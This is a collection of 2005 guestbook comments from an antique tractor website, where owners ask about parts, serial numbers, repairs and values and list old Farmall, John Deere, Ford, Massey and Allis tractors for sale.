Joe wrote on Friday, May 06, 2005 (PDT):I just bought an 800 ford tractor,with hydraulics front&rear,push blade front& 3 blade deck in rear.It's a little beat up, but everything works.Paid $3,000 did I pay to much?Thank you.
aland wrote on Friday, May 06, 2005 (PDT):I read several times going through the questions above, but, who is a supplier for engine components for the 2010 diesel engine (other than Deere!) Also, the same question again, If the serial tag is missing, then where to look for number? thanks.
Ben Butler wrote on Thursday, May 05, 2005 (PDT):I have located a 720 diesel that is in need of an overhaul. The owner says it is using oil and has a small amount of coolant in the crankcase. Don't know much about these two cylinders, do the headgaskets go bad, or is it a cracked head?
Kevin Richmond wrote on Thursday, May 05, 2005 (PDT):Iam working on my father-in-laws 8N Ford Tractor and need a diagram of the wiring for the front and rear lights. It is a 1949. Can someone PLEASE help me.
Christian wrote on Thursday, May 05, 2005 (PDT):Hi, i have a 1961 ford 601 work master. Its similar to the one in the picture. That is a nice machine.
Rocky Longino wrote on Thursday, May 05, 2005 (PDT):I have a W-6. Can't find any information. Would like to sell. Tractor looks and runs good. How does it compare to a W-4?
John Doughty wrote on Thursday, May 05, 2005 (PDT):Sounds like everyone has the same problems, finding parts for their super 55. I am looking for the center grill piece and the PTO guard. Plus I am looking for some one who is willing to talk about what the tractor is worth today. Not that I want to sell it. Seems like no one wants to talk worth, but they really want to buy it. I have put in several of these comments on other sites with no success. I'm like all the rest of you. Its a great tractor and I have several dollars wrapped up in it on restore and have enjoyed taking it to shows, just to have someone say. Why did you paint that Ford green? Reflects that I don't live in Oliver country. If some one knows please contact me, and good luck on finding parts. One other comment. I recently converted my super 55 to 12v with the help of the artical in Yesterdays tractor, it was a sinch and the best thing I could have done to it. Thanks JD.
John Blatz wrote on Wednesday, May 04, 2005 (PDT):I have 2 '80's 1 very good the other a little rough.Such a good ,hard working tractor.Expensive to restore,but well worth the expense.
Lil Joe wrote on Wednesday, May 04, 2005 (PDT):I have an international f/loader-backhoe 340 industrial. Can anyone tell me what years they we made and where can I buy parts? I need a starter, flywheel ring gear, and some seals for the hyd. cylinders.
Geraldine Martindale wrote on Wednesday, May 04, 2005 (PDT):I have a McCormick Farmall 560 Diesel that has 1000 hours on a rebuilt motor. My husband used it to plow our back yard and to snow blow our drive with the 7' snow blower. My husband has passed away and I was wondering if anyone could tell me how much the tractor and snow blower are worth. The tractor has a wide front end.
Jack wrote on Wednesday, May 04, 2005 (PDT): What year was the first D 21 made
Rhonda Deem wrote on Wednesday, May 04, 2005 (PDT):I have a John Deere 2010 gas w/narrow front end for sale. It is a nice tractor and runs good. I am needing a bigger tractor so I have to sell this one first. If you want pics, I can send them. Email me if interested. Thanks
William wrote on Tuesday, May 03, 2005 (PDT):I am looking for external expanding shoe type brakes for my Case VAI, if you have any information please contact me at my e-mail adress. Thank You
ken bulmer wrote on Tuesday, May 03, 2005 (PDT):Can any one tell me where to get the hardware to hook up my three point hitch to attachments?I have a 1954 fordson major diesel.Or some pictures that I can see of how the three point attachments are coupled together.I bought a post hole digger and have no way to attach it.
ken bulmer wrote on Tuesday, May 03, 2005 (PDT):Can any one tell me where to get the hardware to hook up my three point hitch to attachments?I have a 1954 fordson major diesel.Or some pictures that I can see of how the three point attachments are coupled together.I bought a post hole digger and have no way to attach it.
John Karlson wrote on Tuesday, May 03, 2005 (PDT):I have a farmall Cub for sale, year is probably about 1947 with pretty complete cultivating equipment. Engine has been rebuilt, with probably no more than 100 hours on it since then. Really don't know the year, but serial number is 524427, asking $2,000.
Randy wrote on Tuesday, May 03, 2005 (PDT):Looking for a model G in the Western U.S., preferebly with implements. Randy
Randy wrote on Tuesday, May 03, 2005 (PDT):I'm looking for a cub any year, preferably with implements, anywhere in the Western US. Any takers?
Susan Roberts wrote on Tuesday, May 03, 2005 (PDT):I have a friend looking for gaskets (and possibly other parts) for an 8-16 to repair a stuck engine. He would greatly appreciate any info on parts or the tractor. Thanks!
Kolby Chrz wrote on Monday, May 02, 2005 (PDT):I have a 1938? WF #454, I am looking for two back wheels. Can anyone help me find these? Thanks in advance
george schuler wrote on Monday, May 02, 2005 (PDT):Oops! Maybe I wrote too soon. From what I have been reading on the web, tractor must be a TE20 in stead of a TO20, as I recall reading somewhere on the tractor that it was made in Coventry England. Is that correct? Thanks, George
george schuler wrote on Monday, May 02, 2005 (PDT):I have the opportunity to buy back my deceased Dad's Ferguson. I remember it being delivered new around 1950 +/- 2 years. Have been told it is a TO20. How can I tell for sure what year and model? Thanks, George
Leon Johnson wrote on Sunday, May 01, 2005 (PDT):I have a1948 massey poney for sale. runs great, has cultivator,and pto for fertlizor hopper or mowing machine.
Gil In Ok wrote on Sunday, May 01, 2005 (PDT):Can anyone tell me how to read the SN# on an old Farmall tractor? Such as the year it was made. If it is an A or B. I think it is a Farmall A. It belonged to my step-dad and I had left home25 years befor I met him so don't know much about the tractor. I think it was made in 42 or 43. Thanks, GIL.
ralph wrote on Saturday, April 30, 2005 (PDT):I have a no.16 and on the plate it has massey-harris -ferguson limited,I was told by a dealer who sold mhf it was a 1957,and it has a continental Y91,L-HEAD,4CYL.vertical because the pacer it's a Y90,I would like to know why they leave out feruson,any info well help. thanks Ralph
Rhonda Deem wrote on Saturday, April 30, 2005 (PDT):We have a late 50's model 560 gas. My husband forgot to check the oil and it threw a rod. We have a hold in the block the size of a golf ball. Just bought a JD 2010. Should I sell the 560 or find a good used motor? If selling, what is it worth with a blown motor? Really love this tractor.
David Bowes wrote on Saturday, April 30, 2005 (PDT):does anyone have a wiring diagram for for M/H Pacer 6 volt tractor that they can email me. I'm tring to lick a charging problem. thanks, David B
bob butkus wrote on Saturday, April 30, 2005 (PDT):I have a good running super 55 gas for sale with back blade, plow and bucket. I hate to part with it but do not have the need anymore. I used it primarily for road maintenance here in northern WI. Would fire right up in minus 20 degree weather. A real workhorse.
Bill Silva wrote on Friday, April 29, 2005 (PDT):I need help finding a distributor for a Massey Harris Pony. Thank you.
barrie bent wrote on Friday, April 29, 2005 (PDT):barrie w. bent wrote on friday April 29,2005(PST); i have #(1)1935 fwd mh gp tractor on rubber running fine with foreign carb,herc.engine,app.1935 ohc 4x41/4 w/starter.#(2) 3/4 fwd, older model,flat head,(missing-rad,steering,mag)siezed, on steel. #(3)older model,have only main frame casing and innards w/steel wheels.looking for kingston carb supposidly fits '35 model.apparently mh made 5 sizes of tractor,(witdth)and I have #1,#3,#5! e-mail NS Canada. I did not realise the last time I put this add in it had the wrong address,SORRY to those that tried.
sid berard wrote on Thursday, April 28, 2005 (PDT): my dad bougth new 1939 z moline $9oo.00 rubber lites starter used it on 3 bottom plow thrasher &12a jd combine pto used it till 1956 traded it. good tractors Frist tractor I drove
P.Keenan wrote on Thursday, April 28, 2005 (PDT):I have a 300 utility that needs carb work I think It ran fine in the fall but now its backfiring and blowing blue flames out the top and will only rev with the choke out can anyone tell me whats happening. Thanks
virgil reinig wrote on Thursday, April 28, 2005 (PDT):my father who is deceased, lived on the Auburn Road north of fort wayne in. and just north of the SACRED HEART ACEDEMY and they owned a 1929 mod. L that my dad bought after they bought a I H model H we used that tractor for years and it was on steele , then dad sold it to a man from WATERLOO IN. by the name of HARRY SCHIFFLI and he put on big rubber he also had a CASE model C and a CASE model R C and farmed with these tractors until i think in the 70s and had an auction and sold everything and moved to Waterloo , if any one has any info on this I would sure like to hear from them , either by e-mail or by phone call collect to 260-627-2491 thanks VIRG
virgil j. reinig wrote on Thursday, April 28, 2005 (PDT):wes go to any case-ih dealer have them get the trans. book and take a picture and go from there that was what i did years ago VIRG
Gary Ruble wrote on Wednesday, April 27, 2005 (PDT):I have a Case 9-18 that was built by Case as a dock "mule". It is the only one I have found that was delivered on hard rubber tires front and back. Any information about others or pictures would be appreciated.
Tom Wolder wrote on Tuesday, April 26, 2005 (PDT):Just purchased a Ford Super Dexta and would like to know of anyone who might have a manuel. Do not know the year or where to find the serial numbers, but will keep searching. any one out there please respond, Thanks Tom
FRANK GERMANY wrote on Tuesday, April 26, 2005 (PDT):I NEED A FRONT CRANKSHAFT SEAL FOR 1951 WD45 WITH 226 GAS BURNER ENGINE
Wes Thompson wrote on Tuesday, April 26, 2005 (PDT):I am in need of a breakdown (diagram) for a 1946 Case SC transmission. The person who took it apart had a heart attack and I was asked if I could put it back together for him. I would like to get this done for him A.S.A.P. So any help would be appreciated. Fax #906-779-2406 Thanks in advance.
Sandra Berube wrote on Tuesday, April 26, 2005 (PDT):We will be opening a Tractor Supply Company store in Valdosta, GA and was wondering if you would know of any local antique tractor clubs that like to show off their tractors? We plan on having alot of activities going on during opening day (sometime in June) and would like to have an antique tractor exhibit. Any help would be greatly appreicated. Sincerely Sandra Berube
Jason Taylor wrote on Monday, April 25, 2005 (PDT):I am in need of a hercules 3000 head or complete engine for a 75tm trackmobile fast please respond as soon as possible jason taylor 713-545-5187 thanks
Eric Custer wrote on Sunday, April 24, 2005 (PDT):I have a very late Oliver 60 Row Crop. i have a few questions to anyone who can answer them. I have the very short rear tires on my tractor, i think they are 28 inches. The wheels are seven lug, i have seen six, seven eights and nines on the rears of Oliver 60's.Most of the 60's i have seen have the taller and skinny tires on them. I have another Oliver 60 with a manure bucket on it and i was wondering if anyone made new seals and etc. for the hydraulic lift on it. If anyone out there knows where i could find a reproduction umbrella for my tractor would be nice, im looking for the type that goes from fender to fender and looks almost like a covered wagon top. This is mostly just a parade tractor, but it does get to get dirty every once in a while. Any tips or answers would be greatly appreciated.
Kathy wrote on Sunday, April 24, 2005 (PDT):Where can I find one and how much do you think it would cost, not restored?
Jacob Fearday wrote on Sunday, April 24, 2005 (PDT):I have just got a 1949 Co-Op E3 and was wondering if any one had much information on this tractor. I was also looking for parts for this tractor like a seat ,battery box and other parts if anyone has any information please contact me at jfearday84 at yahoo.com or 1-217-895-3156 Thanks
TONY DRIVER wrote on Sunday, April 24, 2005 (PDT):LOOKING,FOR FLYWHEEL FOR 720 DIESEL TRACTOR [JOHNDEER]
Tim Rohde wrote on Saturday, April 23, 2005 (PDT):Im 25 years old and alredy have 15 tractors of my own one of wich is a 1916 50 case steam engine. Mom and Dad got me my first one when I was in first grade an it was a walkashaw f-12 now I have 3 F-12s, 1 F-14, 3 F-20s, 2 F-30s, and a W-30 and at least one of all are on full steal and all most a full set on f&h I just need some 36" F-30 rears.
Neville Thompson wrote on Saturday, April 23, 2005 (PDT):My brother and I joint own a Sampson Seivegrip, 1916. It was fully restored 20 years ago and runs like clockwork. We show it at various farm shows in North Canterbury, NZ. This tractor is the other one mentioned by Dave, above.
marty kielsmeier wrote on Friday, April 22, 2005 (PDT):i have three of these tractors i bought them for 100.00 dollors each and hope to make one out of three. but i am having problems finding a manifold to keep it orig. if any one has any ideas please let us know thank you marty and my brother joe in leaf river il.
Bill Hodge wrote on Thursday, April 21, 2005 (PDT):Good afternoon, I'm searching for a 66 Oliver (standard or super)(gas preferred) to purchase. Please feel free to call me at 1.615.895.0657. I currently belong to a Antique Tractor club in the Middle TN area. Thanks, Bill
Murphy wrote on Thursday, April 21, 2005 (PDT):I've got a 1950 C I am missing the air cleaner assembly. Does anyone know where I might find one?
Ron wrote on Thursday, April 21, 2005 (PDT):I have a 1948 Model C. I know something is missing from the tractor but I don't know what the tractor looked like new. I would like to buy a complete set of pictures if anyone has them. Thanks Ron
PAUL WEISMAN wrote on Thursday, April 21, 2005 (PDT):I HAVE A 40'S MODEL TD14 THAT I HAVE REBUILT, I AM IN THE LAST STAGE OF FINISHING THE ENGINE. I NEED TO KNOW THE TORQUE SPEC FOR THE ROCKER ASSEMBLY. I HAVE THREE REPAIR MANUELS ON THE TD14 BUT NONE OF THEM HAVE THE SPEC FOR THE ROCKER ARM. THERE ARE FIVE 1/2 INCH STUD BOLTS THAT HOLD THE ROCKER ASSEMBLY IN PLACE. COULD SOMEONE LET ME KNOW WHERE I CAN FINE THIS INFORMATION. OR SOMEONE THAT KNOWS THE TORQUE SETTING. PLEASE SEND ME AN E-MAIL. pjweisman at yahoo.com, THANKS.
Ben Augustine wrote on Wednesday, April 20, 2005 (PDT):By the way a 1586 is a 160 horsepower tractor and a 1066 is about 125-130 which explains why the 1586 out pulls a 1066
Martha Davis wrote on Wednesday, April 20, 2005 (PDT):Were Allis Chalmer tractors orange in 1925? Thanks
Patrick Pollinger wrote on Wednesday, April 20, 2005 (PDT):We have an 012 1934 original and an OS4 1946 row crop tractors this one runs good. Any idea how to market them. We would like to sell both of them. (209) 634-4714
Ben Augustine wrote on Tuesday, April 19, 2005 (PDT):we have two 1066's a 966, 756 and a 5288 and they are all good tractors but one thing we have decided is that if ih had made tractors like the 5288 all along they might still be around. There was a gap in quailty between the 756 and the 5288. Our 756 has about 20000 hours on it and I just rebuilt it this year our 5288 has over 10000 on it and an engine overhaul 1000 Hours ago both excellent tractors
Dave wrote on Tuesday, April 19, 2005 (PDT):Hi, I have the service manual for a fordson major diesel, petrol, or vaporizing oil tractor. Is anyone interested in me copying this to cd for a small price + postage and packing?
Ritchie Gunnell wrote on Monday, April 18, 2005 (PDT):Have Leader tractor similar to one pictured,for sale or trade.Ph.# 276-755-2013
Milton wrote on Monday, April 18, 2005 (PDT):I am converting my 2n tractor to 12 volt and would like to know if anyone has a wiring diagram....
Lena Knighten wrote on Monday, April 18, 2005 (PDT):I recently went to a public sale and bought the Pony tractor that my father bought new years and years ago. I used it to plow my garden and it worked great. It is missing a side panel and one headlight is gone, Otherwise it is in good shape. Oh almost forgot. I also have the original title (yes I said title). It is still in my fathers name. Lena Knighten Inwood, Wv, USA
Ed in CA wrote on Sunday, April 17, 2005 (PDT):Bob, the difference between a Farmall B and BN is this; The BN has a narrow back end, and the B has a wide back end. The BN has shorter rear axle housings than the B. I own a 1940 B and a 1941 BN. My dad owns a 1948 Super A aswell.
John Gesink wrote on Sunday, April 17, 2005 (PDT):I have a D 14, great little tractor but, the over and under clutch lever will not always stay in the forward position, is this a big job to repair? Thanks for your help!
Joe Mercier wrote on Sunday, April 17, 2005 (PDT):I have a T20 tractor that I am selling. The left steering clutch is stuck and the motor is froze. The tracks are in good shape and the rollers are good. I also have a parts chaisse. Thanks.
Ralph Imes, jr. wrote on Saturday, April 16, 2005 (PDT):My first tractor was a l929 Farmall regular. Mine was painted red (no grey paint anywhere on it). I was wondering when they went from painting them grey to painting them red?
dkennelly wrote on Saturday, April 16, 2005 (PDT):There are lots of questions for dating. Here is a link that will help, with a lot of good info on the H; www.farmall-h.com/dates.htm
Austin Carlisle wrote on Saturday, April 16, 2005 (PDT):I love this tractor
Jim Stewart wrote on Saturday, April 16, 2005 (PDT):I was on a service run from Louisville, Ky to Orleans, In. While driving up US 60 towards Salem In., I noticed an SC Case sitting at a business alongside the highway. I thought I would stop on my way home and take a look at it. I spoke with the man on my way back and asked him if he knew where it came from and he said yes, it was owned by a man in Elizabeth Indiana that lived up on the hill from the high school. I realized that he was talking about my uncle and I knew now why the tractor looked familiar; I had grown up farming with it. I went over and examined the fuel tank and sure enough, there was the dent I had put in it so many years earlier! Needless to say, I talked him into selling it to me for $1200.00 and it is running a little rough; carburator will not idle. I will need to do some work on it, but it has a lot of good memories and good paint and I'm sure it has plenty of work years left in it, if only mowing grass at the Church cemetary on the hill.
Jeremy Steinkamp wrote on Friday, April 15, 2005 (PDT):I'am planning on buying a BF Avery Model A wide front end.I need some parts for it.Paint codes,decals,Any parts available and where i can get them at.THANKS!!! PHONE 812-2160-2013 Leave message.
Eric Assmus wrote on Thursday, April 14, 2005 (PDT):I'm repainting a AC WD and there is a bracket behind the tail light on the left side. What is it supposed to hold?
Ed Kratt wrote on Tuesday, April 12, 2005 (PDT):I am restoring a nice MH 81, I am looking for the innards for the headlights also the little light over the guages, if anyone has these I would appreciate hearing from them. Also have access to some MH junkers various years and models, I would be willing to help anyone looking for parts. Thanks, Ed
DK Roberts wrote on Tuesday, April 12, 2005 (PDT):anyone with pony or pacer parts for sale i am looking for numerous parts please feel free to email me ttpilot at yahoo.com thanks
DOUG wrote on Tuesday, April 12, 2005 (PDT):am looking for pacer parts anyone with pacer or pony parts for sale please email me thanks
Jim Cook wrote on Monday, April 11, 2005 (PDT):grew up running a late model D. when you pulled it hard, just turn up the water injection to cool the manifold and stop pre-ignition and it would pull with anything. still have the tractor.
alan king wrote on Monday, April 11, 2005 (PDT):i have a completely restored allis g serial #544. i have $3000.00 in recipts for parts alone. any offers above and beyond that? no hydrolics and no equipment but a very very nice machine. everything is basically new. never been driven other than to load. rolled it into my shed to unload. also have a 48 model that needs restoration. have avery nice moldboard plow for sale also. 501-680-4735 or email. serious buyers only please. thanks alan king
John wrote on Sunday, April 10, 2005 (PDT):Hi,Just got what I think may be a OC-4 in a trade, never owned a Ollie before but think i'm gonna keep this 1 to restore, neat lookin Lil Tractor, how does 1 tell the diff, between a OC-3 and a OC-4 ? also in need of a starter motor for it, any info would gladly be appreciated, Thank's, John
jerry miles wrote on Sunday, April 10, 2005 (PDT):I HAve a 8n with out a motor and also have a 9ohp flat head v8 and would like any info about adapters that i would need to make this work. also have other 8n and ford tractors .thank you
Fred Hellyer wrote on Sunday, April 10, 2005 (PDT):I have a 1945 Model A Farmall. I want to restore it. It needs a front grill. Where do I start.
Frank Attkisson wrote on Saturday, April 09, 2005 (PDT): I have a 1950 8n that was rebuilt last wummer. I have had to replace the bendix 5 or 6 times.......practically every month since then. Does anyone have an idea what I should be looking at? I read one suggestion to make sure there is no grease, dirt in the starter housing....anything else?
Daryl Gary wrote on Friday, April 08, 2005 (PDT):My father had a 80 John Deere tractor when I was growing up and it was my favorite tractor, I would like to find an 80 john deere tractor. thank you daryl
Doyel Hoskins wrote on Thursday, April 07, 2005 (PDT):What is the value of one of those tractors in good condition? I found one for $400 thats in good shape. Would $400 be too much to spend on it? Its all original.6-volt system.
Walter Anderson wrote on Thursday, April 07, 2005 (PDT):Looking for a d 17 IV diesel tractor. Please email or call 208 405-1267 if you know of one.
Ray Davis wrote on Thursday, April 07, 2005 (PDT):I have an old Ford 800. It runs very well, pulls brush hog, hydrolics good. Use it to push snow in winter. Repainted once. Good condition. I haved owned this tractor since about 1975. Now I am ready to sell. Can't seem to find any sources to help me price it fairly. Help. Links and suggestions, please. Ray
Vicki Brown wrote on Wednesday, April 06, 2005 (PDT):This year at the oklahoma gas and steam engine show the AC 20-35 is the featured tractor. This is the first really good picture we have been able to find of this tractor.I would be intrested in other views of the tractor or black and white line drawings would be nice. The shows web sight is www.oklahomathreshers.org Any help you could supply would be greatly appreaciated.
Chase Fitch wrote on Wednesday, April 06, 2005 (PDT):My Gramdpa back in the sixtys bought two John Deere H's. He put them togehter to make one beatuifly tractor. My dad and I recently just repainted it and it looks better then ever. My neighbor look up the serial # and told me it was a 1938 model, but now I don't know if they made them in that year or not. I think it was made in the late 38's but they didn't come out and sell until 1939. I love my tractor.
Andy Dubourt wrote on Tuesday, April 05, 2005 (PDT):I have a 44 Massey diesel. It was running when it was parked, but now I can't get any fuel out of the injector pump. It just wants to flow right through the head of the pump and back to the tank through the return. Someone told me that there are plungers sticking. Is this so? Does anyone know if it is safe to take the top of the pump off to look inside? Will this solve anything? Can I loosen the plungers myself? Any info would be apprieciated. Anyone? E-mail me if you'd like. Thank you. And also if you know anything about the power of these tractors when they are running well. What modern tractor could they be compared to in horsepower? 3010 John Deere? Not quite maybe hey?
Luke Bracken wrote on Tuesday, April 05, 2005 (PDT):In august 2004 i bought a farmall AV at an auction for $1200. It runs great and was in good condition. I am a 13 year old boy and since then I have restored it to perfect condition all on my own. I love this tractor and am happy because I paid for every expense of it.
j. cooper wrote on Monday, April 04, 2005 (PDT):I have a 1949 8-n ford funk 6 conversion,tractor starts and runs,good hydraulics and tires. sheet metal needs cosmetic repairs(rusty) asking $2750.00 Houston Tx. (281)744-4935 needs carb. and exhaust manifold.
walter fox wrote on Sunday, April 03, 2005 (PDT):I am trying to locate a 1951 JD G sold to Hollingsworth family by Miller's JD dealership in Zanesville, OH in 1951 Miller dealer took tractor back after gasoline leak caused fire sometime in 1952-55. email me if any info; fox at sssnet.com
Andrew smith wrote on Saturday, April 02, 2005 (PST):have a case 500 and many other case tractors need to know how to increce horepower for pulling
steve stegall wrote on Friday, April 01, 2005 (PST):I have purchased what I think is a pacer 16 there are no numbers How can I ID my tractor? I have found some numbers under the seat, to the side, however the set of #'s start with a 8 and not a 5 and I know the starting serial #'s start with a 5 HELP
Clarence Young wrote on Thursday, March 31, 2005 (PST):My dad run one of the YUBAS plowing sod in Montana in 1908 He worked for the Couch brothers plowing up this Montana sod. We still have the farm where he worked. I have found some of the balls. HE said that the tractor worked real good. Would like to hear one run someday. April 1 2005.
hilary kieschnick wrote on Thursday, March 31, 2005 (PST):How do I replace the hydraulic pump on an IH 806 tractor?
Larry Brown wrote on Wednesday, March 30, 2005 (PST):Does anyone know how much a 1944 Farmall A Weighs?
Dave (NE) wrote on Wednesday, March 30, 2005 (PST):Bubba, I believe that all of the one-sixty's have power steering. They are hard to come by. I see very few of them for sale. Might try Sumerix Implement in Lachine MI. They have a web site. Where are you located?
Gary Stieve wrote on Tuesday, March 29, 2005 (PST):We are currently looking for a 560d to fix up and do a little tractor pulling. Does anyone Know were we can find one?
gary k. wrote on Tuesday, March 29, 2005 (PST):my uncle had 3 farmalls! an H, 400, and 560 gas with 2pt fast hitch. the 560 was a real workhorse on his farm. i`ll never forget the sound the 560 made when pulling the his 4bottom plow, WOW!!
doug wrote on Tuesday, March 29, 2005 (PST):we have a 1066 and a 1586 the 1586 makes the 10 look sick!
dean daudt wrote on Tuesday, March 29, 2005 (PST):I need instructions on how to replace outer oil seals on rear axle & how to disassemble. Is it included in any service manuals? Thank you
BUBBA STONE wrote on Tuesday, March 29, 2005 (PST):Looking for a AC 160 to buy.It would need to have ps.Does anyone know of one for sale??
Scott Reppert wrote on Monday, March 28, 2005 (PST):I HAVE A D17Dseries1 the traction booster lever doesn't sty frwd. It pops back. I Ride it with my foot, raking hay, what not, light loads. Any idea no adj left on the outside.
Brad wrote on Monday, March 28, 2005 (PST):I have an allis chalmers farm d17tractor that is leaking hydraulic oil into rear end oil does anybody know how to correct this problem
raymond wrote on Sunday, March 27, 2005 (PST):can someone tell me were i can get decais for my 671sos thank you raymond
mary orander wrote on Sunday, March 27, 2005 (PST):I HAVE A COMPLETE G-MODEL TRACTOR FOR SALE THAT BELONGED TO MY FATHER AND HAS BEEN IN MY FAMILY SINCE THE EARLY 50'S.WE ALSO HAVE THE ORIGINAL MANUAL WITH IT AND,ACCESSORIES.THE MOTOR HAS BEEN COMPLETELY REBUILT AND WE HAVE ALL THE RECEIPTS TO GO WITH IT.PLEASE CONTACT US BEFORE WE PUT IT ON EBAY IF YOU ARE INTERESTED IN PURCHASING. THANK YOU ,MARY
Robert Brown wrote on Sunday, March 27, 2005 (PST):I have two t-20's. One has a wide track and the other has narrow track. One is complete and the other is for parts. Have new rollers also. I guess I am going to sell both. I don't know what to ask. I thought I would have time to restore them, but you know how that goes. I am in okla and would like to have a super 88 oliver or another oliver or trade? Any one know what I should ask for them. The one complete is not stuck, just needs a good home. E-mail me at Fountain38 at aol.com Or 918-232-8987
Brian Andermann wrote on Sunday, March 27, 2005 (PST):Carburator problems? Tractor starving for gas ,installed rebuild kit still has no trottle.Could air leak cause this. I am talking about a Farmall 140 tactor.When first started it revs up but only a minute or so.
Jamie Bishop wrote on Saturday, March 26, 2005 (PST):To all of you wanting and wishing for one of the biggest Deeres.Dont give up.I have been collecting for about five years.And always wanted one as of yesterday I am a proud owner of a John Deere R. The old tractor had been sating for about 6 years. When I went to look at it. I was sure that it would be stuck. But with a little tinkering the pony came to life then the big motor puffed a little smoke then it started.It sure was a prould moment. Then the hand shake and the deal was made.P.S Dont give up
Dave Shier wrote on Saturday, March 26, 2005 (PST):What size rear tires are usually on the UTS model?? Thanks! Dave Shier
Dave Shier wrote on Saturday, March 26, 2005 (PST):I grew up on 2 U MM's and would like to buy an MM to restore or use.
Dave Shier wrote on Saturday, March 26, 2005 (PST):I grew up on 2 U MM's and would like to buy an MM to restore or use.
Ray wrote on Saturday, March 26, 2005 (PST):I have an M-5 Moline. I'm looking for an adapter/tach drive unit. Part number is 10A12171, for diesel. If anybody has one available, let me know.
bob spung wrote on Friday, March 25, 2005 (PST):i have another question. can an original farmall b engine be replaced with a super a engine so you can have hydraulics? thanks
bob spung wrote on Friday, March 25, 2005 (PST):i also would like to know the difference between a farmall b & bn. i've seen the question several times, but never saw the answers. thanks
Ray wrote on Friday, March 25, 2005 (PST):I bought an M-5 Moline, 1963 model. Does anyone know the correct paint colors for that model? The one I bought has a lighter yellow and brown than the earlier models.
Matt wrote on Thursday, March 24, 2005 (PST):I have a 1955 Massey Harris 44 Special wide front with a front loader for sale. Please contact me for more info. Thanks, Matt 612-490-5696
Jonah Groves wrote on Thursday, March 24, 2005 (PST):I have 2 leader tractors one is red the other is orenge.I am still not sure about the years or model numbers. They are for sale. If any one is interested send me an e-mail. They are located about 40 miles north of Nashville,TN.The red one runs and the orenge one is for parts.
Josh Rooks wrote on Wednesday, March 23, 2005 (PST):I just purchased a 1948 farmal cub and was wondering if any one knows the right paint code for this machine.I work in a local body shop and no one can come up with the code.Its almost ready for paint.Please help!!!!Josh
jake wrote on Wednesday, March 23, 2005 (PST):I need some help please email me I have a ford 8n tractor going up for sale what cost should be payed or expected great shape but wont start.
Kent wrote on Wednesday, March 23, 2005 (PST):Correction to above ; the spelling is actually Lindeman. I also clicked on add my comments too many times ; sorry.
Jay wrote on Wednesday, March 23, 2005 (PST):I would like to know what keeps the wheels from spinning inside the tracks. Is it the tension of the belts or are there cleats on the underside of the plates?
Todd Koss wrote on Tuesday, March 22, 2005 (PST):On the eight day God made the 1066. In my area the 1066's have ruled the track for 30+ years. I am happy to anounce that at 42 I became an owner of a 1973 model this week. I plan to farm with it but the pulls are my passion. When your pulling red the rest are dead.
Shawn Landa wrote on Tuesday, March 22, 2005 (PST):I have a f12 that is almost done being restored every bolt and nut. I think if a jd 420 high crop is worth 25000 because it has a drop rear axle than a beautiful little f12 should be worth at least three grand. An easy f12 resto costs about 2500 in labor plus parts and the tractor. Enjoy
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Kent wrote on Tuesday, March 22, 2005 (PST):I recentley bought a fairly large open end wrench with Lindman TE 789 in raised letters and numbers.Size is 1-3/8" and 1-1/8" x 11-1/4" length. Does someone have a Lindeman owner-operator manual that may list tools that came with a or were available for the Lindeman? If so, could I buy a photo copy of the page of tools ?
Rodney Marshall wrote on Monday, March 21, 2005 (PST):I recently purchased this 1936 farmall-12 full steel tractor at an estate sale. Restored in the seventies it was kept in a shed while owner was in military and else where. It is beautiful. I paid $2895.00 for it and someone told me I was crazy. Any comments?
CHRIS GABOURY wrote on Monday, March 21, 2005 (PST):HAVE A 160 MODEL AND FOR SOME REASON THE HYDRAULICS QUIT WORKING ALL TOGETHER. IF YOU PRIME THE PUMP IT WILL PUMP OUT FLUID. I CHECKED ALL FILTERS WAS WANDERING IF ANYBODY HAD ANY AWNSERS PLEASE LET ME KNOW THANK YOU.
Erdal Tuzel wrote on Monday, March 21, 2005 (PST):Dear Sirs; I haved Massey Harris 55k Tractor 1955 year now only remeber is days wery wery good days.My country TURKEY best regards Sorry I am litle english spoken and writen
Jim Williamson wrote on Saturday, March 19, 2005 (PST):About 1950 we had a Ferguson model 20-85 and it had a loader LUO with manure forks it had arms that lvered on brackets where fenders mount. It had a bracket that fit on rear 3 point hitch arms with a pintle hook. The manure spreader was Ferguson too and had a pintle hook hole. The loader was quite light but very, very efficient. could unhook by lowering hydraulics and just drive ahead , load in a couple of minutes and backup to spreaderand hook up again without leaving the seat. You could take the loader off in minutes just leaving the main brackets.
Dan Reilly wrote on Saturday, March 19, 2005 (PST):I have a Beaver stationary engine(see photos on this sight at "Implement Photos") it was used to power a Chase saw mill I would like to know if its the same manufacture as all other leads to its origin have gone cold thank you Dan
Dan Reilly wrote on Saturday, March 19, 2005 (PST):I have a Beaver stationary engine(see photos on this sight at "Implement Photos") it was used to power a Chase saw mill I would like to know if its the same manufacture as all other leads to its origin have gone cold thank you Dan
Omer Morgan wrote on Saturday, March 19, 2005 (PST):I have what I was told is a 1954 Ford Dexta 33 HP Diesel. The only numbers I can find are 957E 7005 on the transfer case. Right under that is T3 and under that is B17F. The emblem is the wheat symbol with a hand holding it with a gear around that. Can't find any info on it at all, please help with any info. Omer in Texas.
jesse wrote on Saturday, March 19, 2005 (PST):Would like to know colors and any other information that you could give
DC wrote on Friday, March 18, 2005 (PST):Hello, Just purchased a JD MC and I am interested in purchasing a MC-1000 tool carrier. Please contact me if you have one for sale or if you know of one for sale. Thanks!
R. Dobbins wrote on Friday, March 18, 2005 (PST):I am looking for a Farmall cub,early model, in good shape.Would prefer it to be not too far from the eastern panhandle of West Virginia.
chris howe wrote on Friday, March 18, 2005 (PST):i just bought a AC model "B". I am looking for a sickle bar mower for it. if you know where i could buy one, please contact me at theshagg86 at adelphia.net
henry crackwood wrote on Friday, March 18, 2005 (PST):I am restoring a 1957 super 99 gm that we have had since I was a small boy. I may be able to help you find some of those hard to find parts and have some information on these tractors. myself I need a set of rear fenders. email me at hcrackwood at hotmail.com subject super 99
allen taylor wrote on Thursday, March 17, 2005 (PST):looking for manifold for a massey harris pacer
